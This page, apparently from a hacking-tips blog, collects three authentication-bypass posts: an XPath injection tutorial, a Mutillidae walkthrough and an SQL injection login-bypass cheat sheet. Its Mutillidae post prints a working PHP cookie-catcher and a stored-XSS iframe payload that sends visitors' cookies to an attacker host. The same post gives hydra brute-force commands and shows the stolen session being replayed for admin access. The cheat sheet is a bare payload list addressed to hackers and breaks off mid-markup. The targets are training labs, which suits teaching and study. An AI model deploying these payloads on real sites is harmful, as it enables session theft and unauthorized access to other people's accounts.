KNOX D3: authentication-bypass

Showing posts with label authentication-bypass. Show all posts

XPATH Injection Tutorial

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;">XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker to inject XPath elements in a query that uses this language. Some of the possible goals are to bypass authentication or access information in an unauthorized manner.<br /><br />We are gonna learn using simple example. Download code from <a href="http://www.4shared.com/zip/SleYPtv8/xpath.html" target="_blank">here</a> & put it in your local server directory.(Code is created by <a href="https://twitter.com/amolnaik4" target="_blank">Amol Naik </a>)<br /><br />Sample XML Document which we gonna use:-<br /><br /><Employees> <br /> <br />  <Employee ID="1"> <br />    <FirstName>Johnny</FirstName> <br />    <LastName>Bravo</LastName> <br />    <UserName>jbravo</UserName> <br />    <Password>test123</Password> <br />    <Type>Admin</Type> <br />  </Employee> <br />  <Employee ID="2"> <br />    <FirstName>Mark</FirstName> <br />    <LastName>Brown</LastName> <br />    <UserName>mbrown</UserName> <br />    <Password>demopass</Password> <br />    <Type>User</Type> <br />  </Employee> <br />  <Employee ID="3"> <br />    <FirstName>William</FirstName> <br />    <LastName>Gates</LastName> <br />    <UserName>wgates</UserName> <br />    <Password>MSRocks!</Password> <br />    <Type>User</Type> <br />  </Employee> <br />  <Employee ID="4"> <br />    <FirstName>Chris</FirstName> <br />    <LastName>Dawes</LastName> <br />    <UserName>cdawes</UserName> <br />    <Password>letmein</Password> <br />    <Type>User</Type> <br />  </Employee> <br /></Employees> <br /><br /></div><h3 style="text-align: left;">Bypass Authentication:-</h3><div style="text-align: left;"><br />Browse to the login.php page; here we can see simple login form.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8sxBj2S55WlPZ4mVuBs-Diw_um4SRfFKyWrsXO801LcrukgFkMt1RDQTKWD2vu0R-8p1kRSJ669oOdj-Dp62NlCEVtyAFcwQ8KMn34zUAHHlcHbG1tyJABLHOHEjDkY_B_-o63SiTesx/s1600/login.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bypass Authentication" border="0" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8sxBj2S55WlPZ4mVuBs-Diw_um4SRfFKyWrsXO801LcrukgFkMt1RDQTKWD2vu0R-8p1kRSJ669oOdj-Dp62NlCEVtyAFcwQ8KMn34zUAHHlcHbG1tyJABLHOHEjDkY_B_-o63SiTesx/s320/login.PNG" title="Bypass Authentication" width="320" /></a></div><br />If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:<br /><br />Username: ' or '1' = '1<br />Password:  ' or '1' = '1<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxxz-G_O96__WMxFJnBetfZYT93ojXfkljZpKTd6OfGWXYuTleCilK8fsBqadrEGriYo7o84GPVMe6KdxfIG7s7EisWvygsiTZZSJey-Mcwhj6M3fFxBjMRiwC4Bc7qNVm2_7nnhkYCoe3/s1600/Bypass-Login.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bypass Authentication using XPATH injection" border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxxz-G_O96__WMxFJnBetfZYT93ojXfkljZpKTd6OfGWXYuTleCilK8fsBqadrEGriYo7o84GPVMe6KdxfIG7s7EisWvygsiTZZSJey-Mcwhj6M3fFxBjMRiwC4Bc7qNVm2_7nnhkYCoe3/s320/Bypass-Login.PNG" title="Bypass Authentication using XPATH injection" width="320" /></a></div><div style="text-align: left;"></div><a name="more"></a>Looks quite familiar, doesn't it? Using these parameters, the query becomes:<br /><br />string(//Employee[uname/text()='' or '1' = '1' and passwd/text()='' or '1' = '1']/account/text())<br /><br />As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.<br /><br /><br /><h3 style="text-align: left;">Blind Xpath Injection:-</h3><div style="text-align: left;"><br />If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack whose goal is to reconstruct the whole data structure.<br /><br />Browse to the search.php page. Enter any number, When you provide number it will display FirstName related to their ID.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimUmUyiKaedrIwmbWspYIh8BCJ6VQNKIt4Io9Zsic6cj5xXIMtH-OcMt3chI_7hOdMV8Ib-XM2M6zlrxdfVE7diYG2nnERc4yEx_HHNdoCI729mMuaLkQZ-UnICAF3an4A7WKiVZh2rl4k/s1600/search-first-name.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Blind XPATH Injection" border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimUmUyiKaedrIwmbWspYIh8BCJ6VQNKIt4Io9Zsic6cj5xXIMtH-OcMt3chI_7hOdMV8Ib-XM2M6zlrxdfVE7diYG2nnERc4yEx_HHNdoCI729mMuaLkQZ-UnICAF3an4A7WKiVZh2rl4k/s320/search-first-name.PNG" title="Blind XPATH Injection" width="320" /></a></div><div style="text-align: left;">Enter ' or '1' = '1 in search , & you will get all FirstName regardless of any ID(Number).</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjibHQDQ9IrJHS_97o_3mScbNjlwBSFMZu7LeeYkH_O_TgzgFv570vGE-42IPvXkXzTP0v5k2nXdxdQBFswSL3uUBmWK_u-C74djb6ckoV0wmxavA9HjIKi7_QlWpBjzFZ2cVtlzoC7GMBL/s1600/Bypass.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Blind XPATH Injection" border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjibHQDQ9IrJHS_97o_3mScbNjlwBSFMZu7LeeYkH_O_TgzgFv570vGE-42IPvXkXzTP0v5k2nXdxdQBFswSL3uUBmWK_u-C74djb6ckoV0wmxavA9HjIKi7_QlWpBjzFZ2cVtlzoC7GMBL/s320/Bypass.PNG" title="Blind XPATH Injection" width="320" /></a></div><div style="text-align: left;">In blind Xpath injection we have to provide special crafted query to application, if query is true we will get result otherwise we will not get any result.Till now We don`t know about any parent or child node of XML document.</div><h3 style="text-align: left;">Guessing of parent node:-</h3><div style="text-align: left;"><br />Supply following query to application & observe result.<br /><br />' or substring(name(parent::*[position()=1]),1,1)='a<br /><br />Nothing append , we don`t get FirstName of users.<b>It means first letter of parent node is not "a"</b>. Now supply following query<br /><br />' or substring(name(parent::*[position()=1]),1,1)='E</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgag6vkFjcDMjaQ_o5TPXoulIoDCenU0gMFP4DkrXRu5vRdRUVSe5yf3ZyVl7bKfCbLUHkOuTnugAXuSD0-65jMrJsIHH7l7XveyvT2PtZYsE3obILgNIFSYRMJrc9L9CEPbcsIzeMEqs6P/s1600/Blind-xpath.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Blind XPATH Injection" border="0" height="119" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgag6vkFjcDMjaQ_o5TPXoulIoDCenU0gMFP4DkrXRu5vRdRUVSe5yf3ZyVl7bKfCbLUHkOuTnugAXuSD0-65jMrJsIHH7l7XveyvT2PtZYsE3obILgNIFSYRMJrc9L9CEPbcsIzeMEqs6P/s320/Blind-xpath.PNG" title="Blind XPATH Injection" width="320" /></a></div><div style="text-align: left;">You get result , <b>It means first letter of parent node is "E"</b></div><div style="text-align: left;"><br />To guess second letter of parent node supply following query<br /><br />' or substring(name(parent::*[position()=1]),2,1)='m<br /><br />Following the same procedure, we can extract the full name of the parent node, which was found to be '<b>Employee</b>'. </div><div style="text-align: left;"><br />We can also get child node. Browse to the xpath.php page & enter following query.<br /><br />//Employee[position()=3]/child::node()[position()=4]/text()</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJEM1ahTwbtTKf2aitReGTfnS1fW2dUCo9JeuUVlTpFNNhcvMHt0gt5NRhv4wAEgiZTRk8XwP7yTc5s4YQWqiRfpNMHYG4PxtT0DWA8WAERahFgXMrXW1Bo-oZq-mB3unaB3f9GDGyUmF6/s1600/Retriev+DATA.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="get-child-node" border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJEM1ahTwbtTKf2aitReGTfnS1fW2dUCo9JeuUVlTpFNNhcvMHt0gt5NRhv4wAEgiZTRk8XwP7yTc5s4YQWqiRfpNMHYG4PxtT0DWA8WAERahFgXMrXW1Bo-oZq-mB3unaB3f9GDGyUmF6/s320/Retriev+DATA.PNG" title="get-child-node" width="320" /></a></div><div style="text-align: left;">You got output from parent node Employee id 3 & child node whose position is 2.</div><div style="text-align: left;"><br />To get whole document put following query.<br /><br />//Employee</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRqdtsM7sW2Z9HaUofBPk_OgzmP8zYFcJY85ZZPw7Clq_wOjpnjlWmlxg8eHYjh0Vq6z-ZHeKI-D5eMJ05__JV-Z1SCai3MWpIRAWKWO5DsF4M1tVMlimb1joVYKqirK1HKI_09o0mmX2S/s1600/GET-DATA.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Blind Xpath injection" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRqdtsM7sW2Z9HaUofBPk_OgzmP8zYFcJY85ZZPw7Clq_wOjpnjlWmlxg8eHYjh0Vq6z-ZHeKI-D5eMJ05__JV-Z1SCai3MWpIRAWKWO5DsF4M1tVMlimb1joVYKqirK1HKI_09o0mmX2S/s320/GET-DATA.PNG" title="Blind Xpath injection" width="320" /></a></div><div style="text-align: left;">It`s just concept how to retrieve data from XML document using XPATH injection.XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document:</div><div style="text-align: left;"><br /></div><ul style="text-align: left;"><li>count() returns the number of child nodes of a given element, which can be used to determine the range of position() values to iterate over.</li><li> string-length() returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over.</li></ul><div style="text-align: left;">I used recon-ng xpath bruteforcer for xpath injection attack & we will get back end XML file.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvUDKa1rQBEt5SE5OtaoR6kNmq1y07Gw99jMMI3FnfMmEF_oMjN8446O6UOMC3tq5ciXoiRdX3NtZ4e8A3z_srd4GElAEu1KzxtpMsU49JZkAhOwkUHKKSSPnjYAbiY_0DlGIwoAXydo2_/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="xapth-bruteforcer" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvUDKa1rQBEt5SE5OtaoR6kNmq1y07Gw99jMMI3FnfMmEF_oMjN8446O6UOMC3tq5ciXoiRdX3NtZ4e8A3z_srd4GElAEu1KzxtpMsU49JZkAhOwkUHKKSSPnjYAbiY_0DlGIwoAXydo2_/s320/Screenshot.png" title="xapth-bruteforcer" width="320" /></a></div><br />Useful Links & Blind XPATH injection Tools:-<br /><br /><a href="https://www.owasp.org/index.php/XPATH_Injection">https://www.owasp.org/index.php/XPATH_Injection</a><br /><a href="http://www.blogger.com/goog_913170007"><br /></a><a href="https://www.owasp.org/index.php/Blind_XPath_Injection">https://www.owasp.org/index.php/Blind_XPath_Injection</a><br /><br />XPATH BLIND EXPLORER:-  <a href="http://code.google.com/p/xpath-blind-explorer/downloads/list">http://code.google.com/p/xpath-blind-explorer/downloads/list</a><br /><br />XCAT:-  <a href="https://github.com/orf/xcat">https://github.com/orf/xcat</a></div></div>

XPATH Injection Tutorial

XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attack...

+ Read more »

Broken Authentication & Session Management in Mutillidae

<div dir="ltr" style="text-align: left;" trbidi="on">Broken Authentication and Session Management is on number 2 in OWASP Top 10 vulnerability list 2013. In mutillidae , it contain three subsection.<br /><br /><ul><li>Authentication Bypass</li><li>Privilege Escalation</li><li>Username Enumeration</li></ul><div style="text-align: left;"><br />We have already covered <a href="http://tipstrickshack.blogspot.com/2013/11/username-enumeration-in-mutillidae.html" target="_blank">Username enumeration</a> in last article & we got valid username list which exist in database. Today we are going to use authentication bypass method.</div><div style="text-align: left;"><br /></div><ol><li>Using cookie</li><li>Using brute-force</li><li>Using SQL injection</li></ol><h3 style="text-align: left;">(1)Authentication Bypass using cookie:- </h3><div style="text-align: left;">As we know that , mutillidae is vulnerable to <a href="http://tipstrickshack.blogspot.com/2012/10/how-to-do-xss-attack-on-website.html" target="_blank">XSS</a>, so we can capture cookie with help of XSS. We are going to take advantage of persistent XSS.<br /><br />http://127.0.0.1/mutillidae/index.php?page=add-to-your-blog.php<br /><br />Above link is vulnerable to persistent XSS attack. We can submit html to add blog section.so we are going to use cookie-catcher.<br /><br />Content of cookie_catcher.php :-<br /><br /><?php<br />header ("Location: http://192.168.56.1");<br />$cookie = $_GET['c'];<br />$ip = getenv ('REMOTE_ADDR');<br />$date=date("j F, Y, g:i a");;<br />$referer=getenv ('HTTP_REFERER');<br />$fp = fopen('cookies.html', 'a');<br />fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');<br />fclose($fp);<br />?><br /><br />Upload your cookie_catcher.php to server. For demo i used my local apache server & after execution of script it will redirect to 192.168.56.1.You can change the code according to your need. It will grab IP, cookie, Referer, time & date.</div><a name="more"></a><br />Now as anonymous user , we will add blog entry.I used other OS on my virtual box for attack.<br /><br />(1)Open http://192.168.56.1/mutillidae/index.php?page=add-to-your-blog.php<br /><br />(2)Submit following html to blog<br /><div style="text-align: left;"><br /></div><div style="text-align: left;"><html><br /><body><br /><b> nirav k desai</b><br /><u>help me</u><br /><iframe  frameboarder=0 height=0 width=0  src=javascript:void(document.location="http://192.168.56.1/cookie_catcher.php?c="+document.cookie)  </iframe ><br /></body><br /></html> </div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtkHa8GXAvFUNra7O9ZMs8YRRLGGSaH2BiDCuREoOgLMOuBYwkXc3xwO0JXegFE5_n2QhoQ992vhTfDksebqt3VQdw8Z9e8Ws_J-GeD2ytovFurXguvHzjlIUb5e6RsnjGAjaHKHZ7HPXO/s1600/attacker.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="authentication-bypass-using-cokkie" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtkHa8GXAvFUNra7O9ZMs8YRRLGGSaH2BiDCuREoOgLMOuBYwkXc3xwO0JXegFE5_n2QhoQ992vhTfDksebqt3VQdw8Z9e8Ws_J-GeD2ytovFurXguvHzjlIUb5e6RsnjGAjaHKHZ7HPXO/s320/attacker.png" title="authentication-bypass-using-cokkie" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"></div><div style="text-align: left;">Replace Link http://192.168.56.1/cookie_catcher.php to your uploaded cookie_catcher.php<br /><br />(3)Now when "admin" or any "logged user" show your added blog entry , you will get his cookie, i.p., date & time.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqKEPnRjOq0vnE755Riz74xcLkruiOc9-JRNlH5LO30sXQ9tYVqmMpa70mp9eBGYVdSwkJscsiLRRmzwR2I-GxvFgVmqHp4Q9_r_RmaohXRC0xOoj6S-tUFUHVn4wOqhI-qf274Km_Qisz/s1600/admin.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="persistent-xss" border="0" height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqKEPnRjOq0vnE755Riz74xcLkruiOc9-JRNlH5LO30sXQ9tYVqmMpa70mp9eBGYVdSwkJscsiLRRmzwR2I-GxvFgVmqHp4Q9_r_RmaohXRC0xOoj6S-tUFUHVn4wOqhI-qf274Km_Qisz/s320/admin.PNG" title="persistent-xss" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">(4)To view cookie open cookie.html.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWghaw9MQOHm6SN2lXbkJhoV_aoncapE06hxc3zGfwXrtX7HP93hDSmxtZyimCTK3VKQ3LDJDEnzWP9Jkl4zllOIg1mJl6S2ujQITe0p6mW8bA7u5DzXMM8W87j0E0sE2kJ_RV3EaQ6sjd/s1600/cookie.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="cookie-catcher" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWghaw9MQOHm6SN2lXbkJhoV_aoncapE06hxc3zGfwXrtX7HP93hDSmxtZyimCTK3VKQ3LDJDEnzWP9Jkl4zllOIg1mJl6S2ujQITe0p6mW8bA7u5DzXMM8W87j0E0sE2kJ_RV3EaQ6sjd/s320/cookie.PNG" title="cookie-catcher" width="320" /></a></div><div style="text-align: left;">  </div><div style="text-align: left;">(5)Now you can use any cookie manager add-on to edit cookie; replace cookie which we got.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipb1xhd6P52X-4QXhZGP26eu_dvCjGJRj4tgmZVA8cG9cd0vj0hWqaL6-MYM2QQSMHLZU2nftk0X028yBw8R1jdTS4dsFwcJnFBQebBKR3MjaiNg3rN_V1hcm-fnowDq895QO7NoOPihkC/s1600/cookie-manager.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="cookie-manager" border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipb1xhd6P52X-4QXhZGP26eu_dvCjGJRj4tgmZVA8cG9cd0vj0hWqaL6-MYM2QQSMHLZU2nftk0X028yBw8R1jdTS4dsFwcJnFBQebBKR3MjaiNg3rN_V1hcm-fnowDq895QO7NoOPihkC/s320/cookie-manager.PNG" title="edit-cookie" width="320" /></a></div><div style="text-align: left;"><br />(6)After reload we got admin access to web-application.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0ubWS0D755x3hppj9rYva-_jHd-nVlHpna7I2JNArR08efCrNr00dVucp-Kml5B0vnwznd3oSNzz1qH2c1u6mXHEuL3N2ZJfHkkQyYhdsR3gE0yisuIKWhPHKWnLo1VBFKGljEMx-J5B2/s1600/admin_access.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="admin-access" border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0ubWS0D755x3hppj9rYva-_jHd-nVlHpna7I2JNArR08efCrNr00dVucp-Kml5B0vnwznd3oSNzz1qH2c1u6mXHEuL3N2ZJfHkkQyYhdsR3gE0yisuIKWhPHKWnLo1VBFKGljEMx-J5B2/s320/admin_access.PNG" title="admin-access" width="320" /></a></div><div style="text-align: left;"></div><h3 style="text-align: left;">(2)Authentication Bypass Using bruteforce:- </h3><div style="text-align: left;">You can use hydra or burpe intruder to bruteforce login form of application.<br /><br />hydra -l admin -P /root/pass.txt  127.0.0.1 http-post-form "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisPJ8P2Tq5oy15PTBoCQ7GvOdI5SJCzZprYLFYb1hTWH3CmzpI88LLLV6T52usLlJdlB4I_lQbX207qxINKRx6NH_dbtNTKa-LEnKPQnoppe8aUpa9ZgiqxvO_TfSfaOhEDl8NIUf7_Dsa/s1600/bruteforce.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bruteforce-Using-Hydra" border="0" height="114" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisPJ8P2Tq5oy15PTBoCQ7GvOdI5SJCzZprYLFYb1hTWH3CmzpI88LLLV6T52usLlJdlB4I_lQbX207qxINKRx6NH_dbtNTKa-LEnKPQnoppe8aUpa9ZgiqxvO_TfSfaOhEDl8NIUf7_Dsa/s320/bruteforce.PNG" title="Bruteforce-Using-Hydra" width="320" /></a></div><h3 style="text-align: left;">(3)Authentication Bypass Using sql injection:- </h3><div style="text-align: left;">We can inject special database characters or SQL timing attacks into page parameters. We are going to use login page; and inject sql character to  login form.<br /><br />You can use <a href="http://tipstrickshack.blogspot.com/2013/01/sql-injection-authentication-bypass.html" target="_blank">SQL injection cheat sheet </a>& we will brute-force  using SQL statements.Save it to file.<br /><br />hydra -l admin -P /root/sql 127.0.0.1 http-post-form "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8rcxeP7Uqf5-bQVL3cXFwPrnmuHSASgqc9I27AIw3A1tG2ZQG2_gw3MLsPnbscv3LeVp5CPO9irpLOyrVChRx_sFQSZkkzcllBdYK_aCpYykiafinJ3UKPzb4pkjWuVB7SLnW0vGxNhKS/s1600/SQL.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="SQL-injection_cheat-sheet" border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8rcxeP7Uqf5-bQVL3cXFwPrnmuHSASgqc9I27AIw3A1tG2ZQG2_gw3MLsPnbscv3LeVp5CPO9irpLOyrVChRx_sFQSZkkzcllBdYK_aCpYykiafinJ3UKPzb4pkjWuVB7SLnW0vGxNhKS/s320/SQL.PNG" title="SQL-injection_cheat-sheet" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;">And we got for valid SQL statements ; with help of it we can bypass admin panel.</div></div>

Broken Authentication & Session Management in Mutillidae

Broken Authentication and Session Management is on number 2 in OWASP Top 10 vulnerability list 2013. In mutillidae , it contain three subsec...

+ Read more »

Sql Injection Authentication bypass cheat sheet

<div dir="ltr" style="text-align: left;" trbidi="on"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">This list can be used by Hackers when testing for SQL injection authentication bypass.A Hacker can use it manually or through burp in order to automate the process.</span></span></span><span style="font-family: Bitstream Charter, serif; font-size: medium;">If you have any other suggestions please feel free to leave a comment in order to improve and expand the list.</span><br /><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">or 1=1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">or 1=1--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">or 1=1#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">or 1=1/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' --</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' #</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin'/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' or '1'='1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' or '1'='1'--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' or '1'='1'#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' or '1'='1'/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin'or 1=1 or ''='</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' or 1=1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' or 1=1--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' or 1=1#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin' or 1=1/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin') or ('1'='1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin') or ('1'='1'--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin') or ('1'='1'#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin') or ('1'='1'/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin') or '1'='1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin') or '1'='1'--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin') or '1'='1'#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin') or '1'='1'/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" --</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" #</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin"/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" or "1"="1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" or "1"="1"--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" or "1"="1"#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" or "1"="1"/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin"or 1=1 or ""="</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" or 1=1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" or 1=1--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" or 1=1#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin" or 1=1/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: 